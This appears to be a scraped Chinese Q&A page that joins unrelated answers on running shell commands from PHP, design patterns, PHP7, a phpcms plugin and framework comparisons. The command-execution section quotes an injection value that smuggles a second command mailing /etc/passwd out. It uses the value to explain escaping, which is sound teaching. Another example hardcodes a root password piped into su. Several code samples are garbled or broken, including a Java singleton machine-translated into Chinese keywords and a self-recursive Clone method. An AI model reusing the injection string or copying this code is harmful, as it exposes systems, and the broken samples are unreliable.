⑴ php运行EXEC文件
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
复制代码
代码如下:
<?php
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array
可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二
个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
复制代码
代码如下:
<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
复制代码
代码如下:
<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2)
用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen
()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一
的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:
复制代码
代码如下:
<?php
$fp=popen("/bin/ls -l", "r");
?>
例子2:
复制代码
代码如下:
<?php
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3)
用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
复制代码
代码如下:
<?php
$res='/bin/ls -l';
echo '
'.$res.'
';
?>
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先
看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样:
复制代码
代码如下:
<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸
好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运
行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:
复制代码
代码如下:
<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>
⑵ php执行linux命令并输出终端屏幕显示的内容(实时)
PHP在linux上执行命令
目录:
一、PHP中调用外部命令介绍
二、关于安全问题
三、关于超时问题
四、关于PHP运行linux环境中命令出现的问题
一、PHP中调用外部命令介绍
在PHP中调用外部命令,可以用,1>调用专门函数、2>反引号、3>popen()函数打开进程,三种方法来实现:
方法一:用PHP提供的专门函数(四个):
PHP提供4个专门的执行外部命令的函数:exec(), system(), passthru(), shell_exec()
1)exec()
原型: string exec ( string $command [, array &$output [, int &$return_var ] )
说明: exec执行系统外部命令时不会输出结果,而是返回结果的最后一行。如果想得到结果,可以使用第二个参数,让其输出到指定的数组。此数组一个记录代表输出的一行。即如果输出结果有20行,则这个数组就有20条记录,所以如果需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外部命令结果时清空这个数组unset($output),以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。
<?php
exec("dir",$output);
print_r($output);
?>
2)system()
原型: string system ( string $command [, int &$return_var ] )
说明: system和exec的区别在于,system在执行系统外部命令时,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
<?php
system("pwd",$result);
print $result;//输出命令的结果状态码
?>
关于第二个参数结果状态码的简单介绍:
如果返回0是运行成功,
在Bash中,当错误发生在致命信号时,bash会返回128+signal number做为返回值。
如果找不到命令,将会返回127。
如果命令找到了,但该命令是不可执行的,将返回126。
除此以外,Bash本身会返回最后一个指令的返回值。
若是执行中发生错误,将会返回一个非零的值。
Fatal Signal : 128 + signo
Can't not find command : 127
Can't not execute : 126
Shell script successfully executed : return the last command exit status
Fatal ring execution : return non-zero
3)passthru()
原型: void passthru ( string $command [, int &$return_var ] )
说明: passthru与system的区别,passthru直接将结果输出到游览器,不返回任何值,且其可以输出二进制,比如图像数据。第二个参数可选,是状态码。
<?php
header("Content-type:image/gif");
passthru("/usr/bin/ppm2tiff /usr/share/tk8.4/demos/images/teapot.ppm");
?>
4)shell_exec()
原型: string shell_exec ( string $cmd )
说明: 直接执行命令$cmd
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>
方法二:反撇号
原型: 反撇号`(和~在同一个键)执行系统外部命令
说明: 在使用这种方法执行系统外部命令时,要确保shell_exec函数可用,否则是无法使用这种反撇号执行系统外部命令的。
<?php
echo `dir`;
?>
方法三:用popen()函数打开进程
原型: resource popen ( string $command , string $mode )
说明: 能够和命令进行交互。之前介绍的方法只能简单地执行命令,却不能与命令交互。有时须向命令输入一些东西,如在增加系统用户时,要调用su来把当前用户换到root用户,而su命令必须要在命令行上输入root的密码。这种情况下,用之前提到的方法显然是不行的。
popen( )函数打开一个进程管道来执行给定的命令,返回一个文件句柄,可以对它读和写。返回值和fopen()函数一样,返回一个文件指针。除非使用的是单一的模式打开(读or写),否则必须使用pclose()函数关闭。该指针可以被fgets(),fgetss(),fwrite()调用。出错时,返回FALSE。
<?php
error_reporting(E_ALL);
/* Add redirection so we can get stderr. */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>
⑶ C#中的设计模式
不太清楚你的问题;是不是要划线联接啊?
迭代器设计模式 应该是 要实现 IEnumerator 接口的,它俩算是一对吧,如果是这样的话;
那应该是这样的了
代理设计模式 Remoting
迭代器设计模式 IEnumerator
对象工厂设计模式 Activator
复合设计模式 XmlNode
观察者设计设计模式 event (在C#中,可以用事件模式来替代该模式)
适配器设计模式 IDataAdapter
修饰器设计模式 Attribute (修饰器与装饰模式应该不一样吧)
原型设计模式 ICloneable (.net中,使用该接口实现深拷贝)
以上不保证完全证确;
⑷ PHP7会毁了PHP吗
我觉得题主说的“毁掉”的意思可能是是毁掉PHP超低的入门门槛。感觉越写越像java。然而不可避免的,要接受改变。在ES6刚出的时候也有很多人说ES6毁了JavaScript.原型继承的写法多么多么好。class写法多么多么糟。时间证明,ES6标准正在快速被实现。我相信,PHP正在越变越好
关于严格模式:
从目前来看我觉得新项目用PHP的话,还是开了严格模式比较好。因为7.1会加上JIT,性能会提升更多。不给返回值类型JIT不好做啊。对于新手来说,不开严格模式学习也不会有太大的问题。
总之,我觉得PHP7是个好事。我就等3号发布正式版升级了~话说什么时候能把那些语法整理一下啊,都二十年了,咱函数名调整一下吧。要不然就被黑一辈子了 T_T
⑸ 什么是PHP系统外部命令
在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。
⑹ PHP对象的浅复制与深复制的实例详解
PHP对象的浅复制与深复制的实例详解
最近在看原型模式时注意到这个问题~~PHP中对象
'='
与‘clone'的区别
实例代码:
//聚合类
class
ObjA
{
public
$num
=
0;
public
$objB;//包含的对象
function
__construct()
{
$this->objB
=
new
ObjB();
}
//只有实现了下面方法聚合类
才能实现深复制
/*function
__clone()
{
$this->objB
=
clone
$this->objB;
}*/
}
class
ObjB
{
public
$num2
=
0;
}
//原型对象
$objA
=
new
ObjA();
//复制对象(‘='复制引用)
$objA2
=
$objA;
$objA2->num
=
2;
//随着$objA2->num的变化
$objA->num也变化了
print_r($objA->num.'<br/>');//结果为2
print_r($objA2->num.'<br/>');//结果为2
//复制对象(‘clone'关键字克隆)
$objA3
=
clone
$objA;
$objA3->num
=
4;
//随着$objA3->num的变化
$objA->num没有变化
print_r($objA->num.'<br/>');//结果为2
print_r($objA3->num.'<br/>');//结果为4
//但是clone的对象(是聚合类)中包含其他对象时所包含的对象(objB)复制的是引用
$objA3->objB->num2
=
7;
print_r($objA3->objB->num2.'<br/>');//结果是7
print_r($objA->objB->num2.'<br/>');//结果是7</pre>
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⑺ 你熟悉的设计模式有哪些写出单例模式的实现代码
23个设计模式:
根据目的设计模式可以分为创造模式,结构模式和行为模式,创建模式用于处理对象的创建。结构模式用于处理类或对象的组合。
行为模式用于描述类或对象如何交互以及如何分配职责,创建模式用于处理对象的创建。主要包括以下五种设计模式:
工厂方法模式()
抽象工厂模式(AbstractFactoryPattern)
建造者模式(BuilderPattern)
原型模式(PrototypePattern)
单例模式(SingletonPattern)
结构模式用于处理类或对象的组合,包括以下七个设计模式:
适配器模式(AdapterPattern)
桥接模式(BridgePattern)
组合模式(CompositePattern)
装饰者模式(DecoratorPattern)
外观模式(FacadePattern)
享元模式(FlyweightPattern)
代理模式(ProxyPattern)
行为模式描述类或对象如何交互以及它们如何分配职责。它由以下11种设计模式组成:
责任链模式(Chain的ResponsibilityPattern)
命令模式(CommandPattern)
解释器模式(InterpreterPattern)
迭代器模式(IteratorPattern)
中介者模式(MediatorPattern)
备忘录模式(MementoPattern)
观察者模式(ObserverPattern)
状态模式(StatePattern)
策略模式(StrategyPattern)
模板方法模式(TemplateMethodPattern)
访问者模式(VisitorPattern)
单例模式实现1:
公共类Singleton{
类共享实例对象
私有静态单例;单例=零;
//私有构造函数
私有Singleton(){
系统。出去了。这是单例!!);
}
//获取单例方法
公共同步静态单例getInstance(){
//确定共享对象是否为空,如何空一个新对象
If(singleton==null){
singleton=newsingleton();
}
返回单例。
}
}
单例模式实现2:
公共类Singleton{
类共享实例对象实例化
=newSingleton();
//私有构造函数
私有Singleton(){
系统:出去了,这是单例!!);
}
//获取单例方法
公共静态单例getInstance(){
直接返回共享对象
返回单例。
}
}
(7)原型模式php扩展阅读:
注意事项:
设计模式主要分三个类型:创建型和行为型。
Singleton:确保一个类只有一个实例,并为其提供一个全局访问点
AbstractFactory:提供一个接口,用于创建一系列相关或相互依赖的对象,而无需指定它们的具体类。
FactoryMethod:定义一个用于创建对象的接口,并让子类决定实例化哪个类。工厂方法将类的实例化延迟到子类。
Builder:将复杂对象的构造与其表示分离,使相同的构造过程可以创建不同的表示。
Prototype:指定要使用Prototype实例创建的对象的类型,并复制该原型来创建一个新对象。
Composite:将对象组合成树状结构,以表示整体各部分之间的关系。组合使用户一致地使用单个对象和组合对象。
Facade:为子系统fa中的一组接口提供一致的接口。Ade提供了一个高级接口,使子系统更易于使用。
Proxy:为其他对象提供一个代理,以控制对该对象的访问
Adapter:将一个接口类转换为客户想要的另一个接口类。适配器模式使那些由于接口不兼容而无法一起工作的类一起工作。
Decrator:式比子类化更灵活,可以为对象动态添加一些额外的职责。
Bridge:模式将抽象部分与其实现部分分离,以便它们可以独立地更改。
Flyweight:享元模式
⑻ php实现原型模式中深拷贝是什么意思
找工作之前制作简历时,需要做很多份简历,而且简历的格式是一样的,也就意味着要做很多重复性的工作。在编程过程中,遇到重复性工作多的时候,粘贴复制是最快的解决办法。但是一旦这些代码需要修改时,那么每一处用到这段代码的地方都需要进行修改,这也就增加了代码维护工作。在学习VB的时候,我们总是把相同的代码放在模块中,然后用到这段代码的地方就调用模块,这样的话耦合性又是比较大的。那么,解决这个问题到底该怎么办呢?
设计模式中的原型模式就很好的解决了这个问题。原型模式是用原型实例指定创建对象的种类,并且通过拷贝这些原型创建的对象。
也就是说,先生成一份模板,然后其余的对象都去拷贝这份模板,那么得到的对象就都是一样的了。
下面小编就以简历复制为例子,简单介绍原型模式:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作经历类
class WorkExperience {
public String workDate;
public String company;
}
//简历类
class Resume implements Cloneable{
private String name;
private String sex;
private String age;
private WorkExperience work;
public Resume(String name){
this.name=name;
work=new WorkExperience;
}
//设置个人信息
public void SetPersonalInfo(String sex,String age){
this.sex=sex;
this.age=age;
}
//设置工作经历
public void SetWorkExperience(String workDate,String company){
work.workDate=workDate;
work.company=company;
}
public Object Clone(){
return this.Clone();
}
}
//客户端
class WorkResume{
public static void main(String[] args){
Resume a =new Resume("张三");
a.SetPersonalInfo("男","20");
a.SetWorkExperience("1998~2000","XX公司");
Resume b=(Resume)a.Clone();
b.SetWorkExperience("2000~2006","YY公司");
}
}</span></span>
这样设置完成之后得到的结果却是两条信息是一样的,而且工作经历都是最新的这一条。
做代码的内存分析,可得到如下图:
即a、b两个对象指向的是同一块内存,也就是说b在进行修改时,a的信息也会被修改,这也就是原型模式的浅复制。浅复制的意思就是说,只把对象a的引用复制给b,二者指向同一区域,当一个修改时,会影响另一个对象。
对代码进行修改,将工作经历类改为:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作经历类
class WorkExperience implements Cloneable{
private String workDate;
private String company;
public Object Clone(){
WorkExperience obj=new WorkExperience();
obj.workDate=this.workDate;
obj.company=this.company;
return obj;
}
}</span></span>
将简历类中的Clone方法改为:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> public Object Clone(){
Resume obj=new Resume(this.work);
obj.name=this.name;
obj.sex=this.sex;
obj.age=this.age;
return obj;
}</span></span>
并且在简历类中添加私有构造方法:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> private Resume(WorkExperience work){
this.work=(WorkExperience)work.Clone();
} </span></span>
则得到的结果就是我们想要的结果了。
对新代码进行内存分析,如下图:
到此为止,原型模式的深浅复制就介绍完了,如果有什么理解不到位的地方,欢迎广大读者给出指导。
总结
深浅复制其实不难,只要把内存分析搞懂了就好了。浅复制是把一个对象的引用复制给另一个对象,二者对同一块内存区域进行操作,类似于参数传递中的传址。而深复制则是把原型对象的内存区域也复制一份给拷贝对象,二者各自拥有自己的引用,各自操作自己的内存区域,互不影响,类似于参数传递中的传值。
⑼ phpcms怎么添加自定义变量
第一步,添加自定义插件:
打开 \phpcms\moles\admin\templates\site_edit.tpl.php 文件,找到最后一个 </fieldset> ,在他后面添加上下面的代码:
01 <!--自定义变量设置开始 自定义变量插件-->
02 <div class="bk10"></div>
03 <fieldset>
04 <legend>自定义变量</legend>
05 <table width="100%" class="table_form" id="myVarForm">
06 <script type="text/javascript">
07 //var t = <?php echo count($setting['var_value'])?> + 1;
08 //上面一行注释 添加下方代码 这样自定义变量就可以添加很多个!
09 <?php
10 $arr = array_keys($setting['var_value']);
11 $t = max($arr);
12 ?>
13 var t = <?php echo $t;?> + 1;
14 function var_add()
15 {
16 var data = '<div id="var'+t+'"><span style="width:54px;float:left;">未定义</span><span style="width:170px"><input name="setting[var_description]['+t+']" type="text"size="26"></span><span style="width:175px;margin-left:6px;"><inputname="setting[var_name]['+t+']" type="text" size="26"></span><spanstyle="width:175px;margin-left:6px;"><input name="setting[var_value]['+t+']"type="text" size="26"></span> <span> <a href="###" onclick="var_del('+t+')">删除</a></span></div>';
17 $('#var_define').append(data);
18 t++;
19 return true;
20 }
21 function var_del(t)
22 {
23 $('#var'+t).remove();
24 return true;
25 }
26 </script>
27 <tr>
28 <th><strong>自定义变量</strong>(<a href="###" onClick="javascript:var_add();"style="color:red">+</a>)</th>
29 <td>
30 <style type="text/css">
31 #var_define_head span{float:left;text-align:center;}
32 #myVarForm input{width:110px;}
33 </style>
34 <div id="var_define">
35 <div id="var_define_head"><span style="width:60px;">索引值</span><spanstyle="width:158px"><strong>变量描述</strong></span><span style="width:158px"><strong>变量名</strong></span><span style="width:158px"><strong>变量值</strong></span></div>
36 <?php
37 foreach($setting['var_name'] as $k=>$v){ if($k!=0)
38 {
39 ?>
40 <div id="var<?php echo $k?>"><span style="width:60px;"><input type="text" size="4"title="点击复制到剪贴板" name="{$setting[var_value][<?php echo $k?>]}" value="<?phpecho $k?>" onDblClick="clipboardData.setData('text',this.name); alert(this.name +'已复制到剪贴板');"></span></span><span style="width:150px"><inputname="setting[var_description][<?php echo $k?>]" type="text" size="21" value="<?phpecho $setting['var_description'][$k]?>"></span><span style="width:150px;margin-left:4px;"><input name="setting[var_name][<?php echo $k?>]" type="text" size="21" value="<?php echo $v?>"></span><span style="width:150px;margin-left:4px;"><inputname="setting[var_value][<?php echo $k?>]" type="text" size="21" value="<?php echo $setting['var_value'][$k]?>"></span><span> <a href="###" onClick="var_del(<?php echo $k?>)">删除</a><span></div>
41
42
43 <?php
44 }
45 }
46 ?>
47 </div>
48 </td>
49 </tr>
50 <tr><td>调用说明</td>
51 <td>1、首先加载站点缓存,方法如下: $siteinfo = getcache('sitelist', 'commons'); 然后可以使用var_mp()函数打印 $siteinfo 数组,可以很清楚的看到该数组的结构,如果懂得数组使用的可以很方便取到需要的值;
52 <br>
53 示例:<br>
54 <div style="border:1px solid #D8D8D8;">
55 <li>$siteinfo = getcache('sitelist', 'commons');//加载缓存文件</li>
56 <li>$siteid = $siteid?$siteid:1;//设置站点</li>
57 <li>$site_setting = string2array($siteinfo[$siteid]['setting']);//将字符串转换为数组,前三行代码在同一个文件里只需要写一次就足够了,你需要用到的页面里可能已经做过这样的处理,就可以连上面三步都省略掉</li>
58 <li>echo $site_setting['var_value'][0]; //将输出第一个自定义变量的变量值</li>
59 </div>
60 <br>2、此变量为**数组模式,原型请查阅 caches\caches_commons\caches_data\sitelist.cache.php 文件.
61 <br>3、利用此插件,您可以自定义一些变量,在"任何地方"有条件的使用,作为一个"开关"或者您自己的用途.方便您在后台随时修改设置.
62 </tr>
63 </table>
64 </fieldset>
65 <style>
66 #myVarForm input {
67 width: 110px;
68 }
69 </style>
70 <!--自定义变量设置结束-->
第二步:前台调用自定义变量
查看代码打印?
1 <!---自定义变量插件初始化--->
2 <?php
3 $siteinfo = getcache('sitelist', 'commons');//加载缓存文件
4 $siteid = $siteid?$siteid:1;//设置站点
5 $site_setting = string2array($siteinfo[$siteid]['setting']);//将字符串转换为数组
6 ?>
7 <!---调用自定义变量 [0]代表自定义变量的索引值。--->
8 <?php echo $site_setting['var_value'][0];?>
⑽ PHP中的各种框架
CodeIgniter、CakePHP、ZendFramework、Symfony这几个是国外的,你可以参考下http://www.isstudy.com
CodeIgniter
优点:
1. 配置简单,全部的配置使用PHP脚本来配置,执行效率高;具有基本的路由功能,能够进行一定程度的路由;具有初步的Layout功能,能够制作一定程度的界面外观;数据库层封装的不错,具有基本的MVC功能
2. 快速简洁,代码不多,执行性能高,框架简单,容易上手,学习成本低,文档详细;自带了很多简单好用的library,框架适合小型应用
缺点:
1. 把Model层简单的理解为数据库操作
2. 框架略显简单,只能够满足小型应用,略微不太能够满足中型应用需要
评价:
总体来说,拿CodeIgniter来完成简单快速的应用还是值得,同时能够构造一定程度的layout,便于模板的复用,数据操作层来说封装的不错,并且CodeIgniter没有使用很多太复杂的设计模式,执行性能和代码可读性上都不错。至于附加的 library 也还不错,简洁高效。
CakePHP
优点:
1. CakePHP是最类似于RoR的框架,包括设计方式,数据库操作的Active Record方式;设计层面很优雅,没有自带多余的 library,所有的功能都是纯粹的框架,执行效率还不错;数据库层的 hasOne, hasMany 功能很强大,对于复杂业务处理比较合适;路由功能,配置功能还不错;自动构建脚手架(scaffold)很强大;适合中型应用;基本实现过了MVC每一层;具有自动操作命令行脚本功能;
2. 文档比较全,在国内推广的比较成功,大部分都知道CakePHP,学习成本中等
缺点:
1. CakePHP非常严重的问题是把Model理解为数据库层操作,严重影响了除了数据库之外的操作能力
2. CakePHP的cache功能略显薄弱,配置功能稍嫌弱;CakePHP不适合大型应用,只适合中型应用,小型应用来说略微的学习成本高了点
评价:
总体来说CakePHP框架代表了PHP框架很重要的一个时代和代表,并且目前发挥着很重要的作用,不少自己写的框架都模仿了CakePHP的方式,是个里程碑式的产品;CakePHP透露着RoR的敏捷开发方式和把数据库操作认为是唯一Model的设计思想,作为开发快速应用和原型是绝好的工具;同样,用来做Web2.0网站的开发框架,也是值得选择的。
【 Zend Framework 】
优点:
1. 官方出品,自带了非常多的 library,框架本身使用了很多设计模式来编写,架构上很优雅,执行效率中等;MVC设计中,比较简洁,具有路由功能,配置文件比较强大(能够处理 XML和php INI),各种 library 很强大,是所有PHP框架中各种功能最全面的,包括它不仅是一个框架,更是一个大类库(取代PEAR),这是它的主要特色;能够直观的支持除数据库操作之外的Model层(比 CodeIgniter 和 CakePHP 强),并且能够很轻易的使用Loader功能加载其他新增加的Class;Cache功能很强大,从前端Cache到后端Cache都支持,后端 Cache支持Memcache、APC、SQLite、文件等等方式;数据库操作功能很强大,支持各种驱动(适配器)
2. 文档很全,在国内社区很成熟,并且目前不少Web 2.0网站在使用,学习成本中等
缺点:
1. MVC功能完成比较弱,View层简单实现(跟没实现一样),无法很强大的控制前端页面
2. 没有自动化脚本,创建一个应用,包括入口文件,全部必须自己手工构建,入门成本高
3. Zend Framework 作为一个中型应用框架问题不大,也能够勉强作为大型应用的框架,但是作为一个很成熟的大型PHP框架来说,还需要一些努力
评价:
作为官方出品的框架,Zend Framework的野心是可以预见的,想把其他框架挤走,同时封装很多强大的类库,能够提供一站式的框架服务,并且他们的开发团队很强大,完全足够有能力开发很强大的产品出来,所以基本可以确定的是Zend Framework前途无量,如果花费更多的时间去完善框架。同样的,Zend Framework架构本身也是比较优雅的,说明Zend官方是有很多高手的,设计理念上比较先进,虽然有一些功能实现的不够完善,比如View层,自动化脚本等等,这些都有赖于未来的升级。总体来说Zend Framework是最值得期待的框架,当然,你目前要投入你的项目中使用也是完全没问题的。
【 Symfony 】
优点:
1. Symfony 是我了解的PHP框架中功能最强大的,而且我使用时间比较长,但是很多功能还是没有挖掘出来;它完整实现了MVC三层,封装了所有东西,包括 $_POST,$_GET 数据,异常处理,调试功能,数据检测;包含强大的缓存功能,自动加载Class(这个功能很爽),强大的i18n国家化支持;具有很强大的view层操作,能够零碎的包含单个多个文件;非常强大的配置功能,使用yml配置能够控制所有框架和程序运行行为,强大到让人无语;能够很随意的定义各种自己的 class,并且symfony能够自动加载(auto load)这些class,能够在程序中随意调用;包含强大的多层级项目和应用管理:Project --> Application --> Mole --> Action,能够满足一个项目下多个应用的需要,并且每层可以定义自己的类库,配置文件,layout;非常强大的命令行操作功能,包括建立项目、建立应用、建立模块、刷新缓存等等;
2. Symfony绝对是开发大型复杂项目的首选,因为使用了Symfony,将大大节约开发成本,并且多人协作的时候,不会出现问题,在Project级别定义好基础Class以后,任何模块都能够重用,大大复用代码
缺点:
1. 数据库操作model采用了重量级的propel和creole,不过在我测试的版本中已经把他们移到了addon里,可用可不用
2. 缓存功能无法控制,每次开发调试总是缓存,需要执行 symfony cc, symfony rc 来清除和重建缓存;
3. 效率不是很高,特别是解析模板和读取配置文件的过程,花费时间不少;
4. 学习成本很高,并且国内没有成熟的社区和文档,连中文手册都没有,相应的要掌握所有功能,需要花费比较多的时间
评价:
Symfony绝对是企业级的框架,唯一能够貌似能够跟Java领域哪些强悍框架抗衡的东西;强悍的东西,自然学习复杂,但是相应的对项目开发也比较有帮助,自然是推荐复杂的项目使用Symfony来处理,觉得是值得,后期的维护成本比较低,复用性很强。相应的如果使用Symfony的应该都是比较复杂的互联网项目,那么相应的就要考虑关于数据库分布的问题,那么就需要抛弃Symfony自带的数据库操作层,需要自己定义,当然了,Symfony支持随意的构造model层。
【 总评 】
以上数款框架,各有特色,而且都是开源项目,不过框架针对的项目不一样,一般来说 CodeIngiter 比较适合小型项目,CakePHP 和 Zend Framework 比较适合中型项目,Symfony 比较适合大型重量级项目,在项目选型的时候,要充分考虑框架的可以定制性、扩展性,因为每个项目都无法确定你是否会随着需求的变化进行改变。
相对来说,Zend Framework 和 Symfony 应对变化的能力比较强,特别是能够随意定制 model 层的Class,能够非常方便增加自己业务或者数据处理类,我是个人比较推荐在中大型项目中使用的框架。CodeIngiter 和 CakePHP 在中小型项目中同样能够发挥重大作用,快速开发和原型构建,非常适合目标不清晰的原型项目的开发。了解一个框架最好的方式就是使用它,学习它最好的方式就是看视频。
仁者见仁,智者见智,在项目挑选框架的时候,请先认真考察项目的需求和未来的变化,然后选择合适的框架,让项目开发速度和后期维护性得到一个合理的平衡,当然了,也许,自己写一个框架更适合。